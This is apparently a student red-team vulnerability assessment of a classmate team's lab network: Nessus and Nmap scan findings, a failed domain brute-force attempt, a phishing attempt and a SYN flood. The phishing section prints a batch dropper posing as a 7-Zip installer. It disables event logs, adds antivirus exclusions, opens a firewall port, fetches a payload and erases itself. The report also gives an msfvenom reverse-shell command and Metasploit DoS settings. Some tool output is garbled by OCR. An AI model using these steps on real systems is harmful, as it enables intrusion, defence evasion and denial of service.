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## **OWASP Vulnerability Assessment Report**

## **Team 5 - Red Team**

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Target(s) Scanned:	Team 6 (Blue Team)		
	Client Machine – 172.31.9.206		
	Domain Controller – 172.31.9.216		
	Log server – 172.31.9.193		
Report Generated:	12/10/2019		

## Introduction

Students studying in Sir Sandford Fleming college located in Peterborough, Ontario enrolled in Computer Investigation and Security (CSI) program, developed this document in furtherance of its statutory responsibilities under the course of Advanced Penetration Testing and Firewall and Intrusion Detection System taught by Professor Charles Baker from September 2019 to December 2019.

Team 5's Red Team was asked to conduct penetration testing and vulnerability assessment on a network established by Team 6's Blue Team consisting of a domain controller, a client workstation and a log sever. The following activities took place under full consent and authorization of the Blue Team and Course Tutor, Prof. Charles Baker.

A vulnerability assessment followed by a penetration test was conducted by Team 5's Red Team against the network setup by Team6's Blue Team. The purpose of this assessment was to identify and quantify vulnerabilities or potential threats in the systems and attempt to penetrate before they are exploited by attackers.

## **Executive Summary**

This section provides an overview of the vulnerability assessment results and shows the distribution of vulnerabilities by severity level and by category.

#### Security Threat Level

This graph presents the security threat level based on the vulnerabilities identified by Red Team. The "Threat Level" is classified as being of Informational, Low, Medium or High severity.

Targets	Information	Low	Medium	High
Client Machine – 172.31.9.206	5	0	0	0
Domain Controller - 172.31.9.216	32	0	0	0
Log server – 172.31.9.193	11	0	0	0

## **Technical Management Overview**

#### Nessus scan report:

Below is a scan conduced on the Client machine and Domain Controller.



- Executive report for client.



#### CodeMeter WebAdmin Detection

#### Info Nessus Plugin ID 57799

#### **Synopsis**

The remote web server hosts a copy protection application.

#### Description

The remote web server hosts CodeMeter WebAdmin, a web-based tool for working with CodeMeter hardware and software-based copy protection technology.

#### Inconsistent Hostname and IP Address

#### Info Nessus Plugin ID 46215

#### **Synopsis**

The remote host's hostname is not consistent with DNS information.

#### Description


The name of this machine either does not resolve or resolves to a different IP address. This may come from a badly configured reverse DNS or from a host file in use on the Nessus scanning host. As a result, URLs in plugin output may not be directly usable in a web browser.

#### Solution

Fix the reverse DNS or host file.

- Executive report for the Domain controller.

#### 172.31.9.216



#### HyperText Transfer Protocol (HTTP) Information

#### Info Nessus Plugin ID 24260

#### **Synopsis**

Some information about the remote HTTP configuration can be extracted.

#### Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc...

This test is informational only and does not denote any security problem.

#### LDAP Crafted Search Request Server Information Disclosure

#### Info Nessus Plugin ID 25701

#### Synopsis

It is possible to discover information about the remote LDAP server.

#### Description

By sending a search request with a filter set to 'objectClass=\*', it is possible to extract information about the remote LDAP server.

#### DCE Services Enumeration

Info Nessus Plugin ID 10736

#### Synopsis

A DCE/RPC service is running on the remote host.

#### Description

By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.

#### Kerberos Information Disclosure

Info Nessus Plugin ID 43829

#### **Synopsis**

The remote Kerberos server is leaking information.

#### Description

Nessus was able to retrieve the realm name and/or server time of the remote Kerberos server.

#### HTTP Methods Allowed (per directory)

#### Info Nessus Plugin ID 43111

#### Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

#### Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes' in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

#### - Executive report for Log Server

Ip address - 172.31.9.193

#### Nessus SYN scanner

Info Nessus Plugin ID 11219

#### **Synopsis**

It is possible to determine which TCP ports are open.

#### Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Traceroute Information


Info Nessus Plugin ID 10287

#### **Synopsis**

It was possible to obtain traceroute information.

#### Description

Makes a traceroute to the remote host.




## Detailed scanned report for the log server.

	1		1		1	1	1		1		I	Т
Plugin II	CVE	cvss	Risk	Host	Protocol	Port	Name	Synopsis	Description	Solution	See Also	Plugin Output
10114	CVE-1999-0524	0	None	172.31.9.193	icmp	0	ICMP Timestamp Request Remote Date Disclosure	It is possible to determine the exact time set on the remote host.	The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in deteating time-based authentication protocols.  Timestamps returned from machines running Windows Vista / 17 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time.	Filter out the ICMP timestamp requests [13], and the outgoing ICMP timestamp replies [14].		The remote clock is synchronized with the local clock.
10287			None	172.31.9.193	udp	0	Traceroute Information	It was possible to obtain traceroute information.	Makes a traceroute to the remote host.	n/a		For your information, here is the traceroute from 172.31.9.120 to 172.31.9.193 : 172.31.9.193 Hop Count: 1
									This plugin is a SYN 'half-open' port scanner. It shall be reasonably			
11219			None	172.31.9.193	tcp	514	Nessus SYN scanner	It is possible to determine which TCP ports are open.	quick even against a firewalled target.  Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.	Protect your target with an IP filter.		Port \$14/tcp was found to be open
11936			None	172.31.9.193	tcp	0	OS Identification	It is possible to guess the remote operating system.	Using a combination of remote probes (e.g., TCP/P, SMB, HTTP, NTP, SMMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system.	n/a		Remote operating system : Linux Kernel 2.6 Confidence level : 65 Method : SinPP The remote host is running Linux Kernel 2.6
19506			None	172.31.9.193	tcp	0	Nessus Scan Information	This plugin displays information about the Nessus scan.	This plugin displays, for each tested host, information about the scan itself:  - The version of the plugin set The type of scanner (Nessus or Nessus Home) The port scanner (Nessus Engine The port scanner (s) used The date of the scan The duration of the scan The duration of the scan The duration of the scan The number of hosts scanned in parallel The number of checks done in parallel.	n/a		Montaneour about this sear.  Plagin feed version: 201912031940  Plagin feed version: 201912031940  Scanner edition used. Nessus Home Scanner edition used. Nessus Home Scanner edition used. Nessus Home Scanner P: 172.31.91.20  Port scanner(s): 4.4 Advanced Scan Scanner P: 172.31.91.20  Port scanner(s): 5.5  Experimental tests: no Experimental tests: so Experimental tests: no District tests: disabled Web application tests: disabled Web application tests: disabled Max hosts: 100  Max Checks: 5: Backports: None Allow post-scanner editing: Yes Scan Stant Date: 2019/12/3 18:18 EST Scan duration: 130 ose
20094			None	172.31.9.193	tcp	0	VMware Virtual Machine Detection	The remote host is a VMware virtual machine.	According to the MAC address of its network adapter, the remote host is a VMware virtual machine.	Since it is physically accessible through the network, ensure that its configuration matches your organization's security policy.		The remote host is a VMware virtual machine.
25220			None	172.31.9.193	tcp	0	TCP/IP Timestamps Supported	The remote service implements TCP timestamps.	The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed.	n/a	http://www.ietf.org/rfc/rfc1323.txt	
35716			None	172.31.9.193	tcp	0	Ethernet Card Manufacturer Detection	The manufacturer can be identified from the Ethernet OUI.	Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUIs are	n/a	https://standards.ieee.org/faqs/regauth.html http://www.nessus.org/u?794673b4	The following card manufacturers were identified : 00:0C:29:6D:87:5E : VMware, Inc.
45590			None	172.31.9.193	tcp	0	Common Platform Enumeration (CPE)	It was possible to enumerate CPE names that matched on the remote system.	registered by IEEE.  By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.  Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.	n/a	http://cpe.mitre.org/ https://nvd.nist.gov/products/cpe	The remote operating system matched the following CPE : cpe:/o:linux.linux_kernel:2.6
54615			None	172.31.9.193	tcp	0	Device Type	It is possible to guess the remote device type.	Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).	n/a		Remote device type : general-purpose Confidence level : 65
86420			None	172.31.9.193	tcp	0	Ethernet MAC Addresses	addresses from various sources and	This plugin gathers MAC addresses discovered from both remote probing of the host (e.g. SNMP and Netbios) and from running local checks (e.g. ifconfig). It then consolidates the MAC addresses into a single, unique, and uniform list.	n/a		The following is a consolidated list of detected MAC addresses: - 00:0C:29:60:87:5E

## NMAP scan report

#### Client Machine

Ports picked up upon a simple scan.




#### Suspicious ports:

TCP/563 - snews

The ports open were only basic mail services. TCP port 563 is commonly used, or at least was commonly used once, for NNTP (USENET news transfer) over SSL. Most likely, the reason it's open on your particular machine has nothing to do with that though, and you should actually check what's using the port on your specific machine.

#### Log Server and Domain Controller

Ports picked up on simple scan



#### Suspicious ports:

TCP/514 - shell

Since syslog's port 514 operates with UDP protocol and receives messages silently (returning no confirmation of their receipt), an open syslog port is not readily visible.

The two potential vulnerabilities of exposing a syslog server to the Internet exist:


- The first would be someone determining that an exposed syslog service was present and maliciously flooding that log with erroneous messages.
- Secondarily, if the specific syslog server in use was known to have exploitable security vulnerabilities, those could be exploited by random Internet-wide scans.

Risk - since syslog is generally only used within controlled, local network boundaries, corporate and ISP networks may wish to block incoming UDP traffic destined to port 514 of any internal machines.

## Open Domain

The domain controller was open to connect to.

Since a domain was established we tried to connect to the domain using dictionary attacks to brute force. The password set is random, and we couldn't connect to domain.



## Phishing attack

#### Delivery:

This is a batch the red team crafted that will delivered to the target as a false email saying that the company needs them to install 7zip for the future push installs for upcoming projects by the company. This batch file will stop the event logs. And exclude the C:\Users directory when the antivirus is running system check, followed by downloading a 7zip.exe the actual executable and download a payload that will create a reverse tcp shell to my machine through port 8080. Once the purpose of the batch file is completed it will change its contents to cover footprints.


```
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?
🕽 🚽 🗎 😘 🥱 🦓 🚵 🔏 🐚 🖍 🕽 🕻 🖟 🖟 😭 🗨 💘 🔍 🔍 🖳 🚟 📑 11 🃜 🗷 💹 🖺 📹 🐠 🕟 🗷 🖼
🔚 7zip-Downloaders.bat 🗵
     @echo off
     net stop eventlog /Y > %TEMP%\file
     attrib +s +h "D:\7zip-Downloaders.bat"
     echo URWUIHWRHirh56845647548HAUGUIRHAWHri6834783463uGYfh47734HGHFG > "D:\7zip-Downloader.bat"
     mkdir "C:\Program Files\7-zip" > %TEMP%\file
      oowershell add-MpPreference -exclusionpath 'C:\Users'
    netsh advfirewall firewall add rule name="Open Remote Desktop" protocol=TCP dir=in localport=8080 action=allow
    ::powershell add-MpPreference -exclusionextension "exe"
    ::powershell -command add-MpPreference -exclusionextension "bat"
 14 powershell -command 'Invoke-WebRequest -Uri "172.31.9.167/7z1900-x64.exe" -Outfile "C:\Users\Administrator\Downloads\7z19(
      attrib +s +h "C:\Users\Administrator\Downloads\7z1900-x64.exe"
 16 start C:\Users\Administrator\Downloads\7z1900-x64.exe
 18 timeout /t 5
     powershell -command "Invoke-WebRequest -Uri "172.31.9.167/boogie.exe" -Outfile 'C:\Program Files\7-zip\7z.exe'"
     "C:\Program Files\7-zip\7z.exe"
```

#### Malware:


We used msfvenom to create the payload encoded with 25 iterations of shikata ga nai encoder to evade antivirus as well. Since, powershell command execution was disabled we found port 514 open shown in the Nmap scan, so payload was to connect through port 514.

```
root@kali:-# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse tcp LHOST
=172.31.9.167 LPORT=514 -e x86/shikata ga_nai -i 25 -f exe > /var/www/html/boogie.exe
Found 1 compatible encoders
Attempting to encode payload with 25 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata ga nai succeeded with size 449 (iteration=3)
x86/shikata ga nai succeeded with size 476 (iteration=4)
x86/shikata ga nai succeeded with size 503 (iteration=5)
x86/shikata_ga_nai succeeded with size 530
                                              (iteration=6)
x86/shikata_ga_nai succeeded with size 557 (iteration=7)
x86/shikata_ga_nai succeeded with size 584 (iteration=8)
x86/shikata_ga_nai succeeded with size 611 (iteration=9)
x86/shikata ga nai succeeded with size 638 (iteration=10)
x86/shikata ga nai succeeded with size 665 (iteration=11)
x86/shikata ga nai succeeded with size 692 (iteration=12)
x86/shikata ga nai succeeded with size 719
                                              (iteration=13)
x86/shikata_ga_nai succeeded with size 746 (iteration=14)
x86/shikata_ga_nai succeeded with size 773
                                              (iteration=15)
x86/shikata_ga_nai succeeded with size 800 (iteration=16)
x86/shikata_ga_nai succeeded with size 827
                                              (iteration=17)
x86/shikata ga nai succeeded with size 854 (iteration=18)
x86/shikata ga nai succeeded with size 881 (iteration=19)
x86/shikata_ga_nai succeeded with size 908 (iteration=20)
x86/shikata ga nai succeeded with size 935 (iteration=21)
x86/shikata_ga_nai succeeded with size 962 (iteration=22)
x86/shikata_ga_nai succeeded with size 989 (iteration=23)
x86/shikata_ga_nai succeeded with size 1016 (iteration=24)
x86/shikata_ga_nai chosen with final size 1016
Payload size: 1016 bytes
Final size of exe file: 73802 bytes
```

Server folder of our attacking machine.



Wireshark monitoring targeted systems and information flowing.



Multi handler exploit listening for connections.

```
msf5 exploit(multi/handler) > show options and 1 25 fexe > /var/www/html/boogle.exe Faund 1 compatible encoders

Module options (exploit/multi/handler): terations of x88/shikata ga nai succeeded with size 368 (iteration=0)

Name Current Setting Required Description eration=1)

X86/shikata ga nai succeeded with size 449 (iteration=2)

X86/shikata ga nai succeeded with size 449 (iteration=4)

Payload options (windows/meterpreter/reverse_tcp): tion=5)

X86/shikata ga nai succeeded with size 530 (iteration=6)

Name Rata Current Setting Required Description ion=7)

X86/shikata ga nai succeeded yesh size Exit technique (Accepted: '', seh, thread, process, none)

LHOST Rata 172.31.9.167 edge yesh size The Listen address (an interface may be specified)

LPORT Rata 514 nai succeeded with size 692 (iteration=12)

X86/shikata ga nai succeeded with size 719 (iteration=13)

Exploit target: nai succeeded with size 746 (iteration=14)

X86/shikata ga nai succeeded with size 880 (iteration=16)

X87/shikata ga nai succeeded with size 880 (iteration=17)

Q / Wildcard Target ceeded with size 881 (iteration=19)

X86/shikata ga nai succeeded with size 881 (iteration=19)

X86/shikata ga nai succeeded with size 881 (iteration=20)

msf5 exploit(multi/handler) > ith size 935 (iteration=21)
```

No shell connection was made.

```
msf5 exploit(multi/handler) > run
    size 476 (iterati
x86/shikata ga nai succeeded with size 503 (iterati
[*] Started reverse TCP handler on 172.31.9.167:514
x86/shikata ga nai succeeded with size 557 (iterati
```

#### Conclusion

The targeted system seems to be blocking the payload from executing. Therefore, a shell cannot be created.

## **SYN Flooding**

A SYN flood is a form of denial-of-service attack in which we send a succession of SYN requests to the target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic.

Port 514 was also open on ip address 172.31.9.193, we tried to flood the logging servers.

```
msf5 auxiliary(dos/tcp/synflood) > options
Module options (auxiliary/dos/tcp/synflood):
               Current Setting Required Description
                     Default Contno The name of the interface
Number of SYNs to send (else unlimited)
   INTERFACE
   NUM
   RH0STS
               172.31.9.193<sub>tp://l7</sub>yes<sub>.9.216</sub> The target address range or CIDR identifier
               The target port
The spoofable source address (else randomizes)
   RPORT
   SH0ST
   SNAPLEN
               65535
                                           The number of bytes to capture
                                yes
                                i noemap.xml
   SPORT
                                           The source port (else randomizes)
               500
   TIMEOUT
                                           The number of seconds to wait for new data
                                yes
msf5 auxiliary(dos/tcp/synflood) >
```

#### INFERENCE – this port is being used for central logging.

Logs on the target machine showing being flooded. Results of the SYN flood attack.

```
| 18:11:14,26:246 1P (tos 848, ttl 187, 1d 36047, offset 8, flags [some], proto TCP (6), length 49 |
18:10:14,26:246 1P (tos 848, ttl 187, 1d 36047, offset 8, flags [some], proto TCP (6), length 49 |
18:10:14,26:246 1P (tos 848, ttl 187, 1d 36047, offset 8, flags [some], proto TCP (6), length 49 |
18:10:14,26:226 1P (tos 848, ttl 187, 1d 36047, offset 8, flags [some], proto TCP (6), length 49 |
18:11:14,26:227 1P (tos 848, ttl 144, 1d 36047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:227 1P (tos 848, ttl 144, 1d 36047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:227 1P (tos 848, ttl 144, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:227 1P (tos 848, ttl 144, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:227 1P (tos 848, ttl 187, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:227 1P (tos 848, ttl 187, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:227 1P (tos 848, ttl 187, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:227 1P (tos 848, ttl 187, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:227 1P (tos 848, ttl 187, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:227 1P (tos 848, ttl 187, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:227 1P (tos 848, ttl 187, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:227 1P (tos 848, ttl 128, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:248 1P (tos 848, ttl 128, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:248 1P (tos 848, ttl 128, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:248 1P (tos 848, ttl 128, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:248 1P (tos 848, ttl 128, 1d 56047, offset 8, flags [some], proto TCP (6), length 40 |
18:11:14,26:248 1P (tos 848, ttl 188, 1d 56047, offset 8, flags
```

## Solution

here are a number of well-known countermeasures listed in RFC 4987 including:

Filtering

Increasing backlog

Reducing SYN-RECEIVED timer

Recycling the oldest half-open TCP

SYN cache

SYN cookies

Hybrid approaches

Firewalls and proxies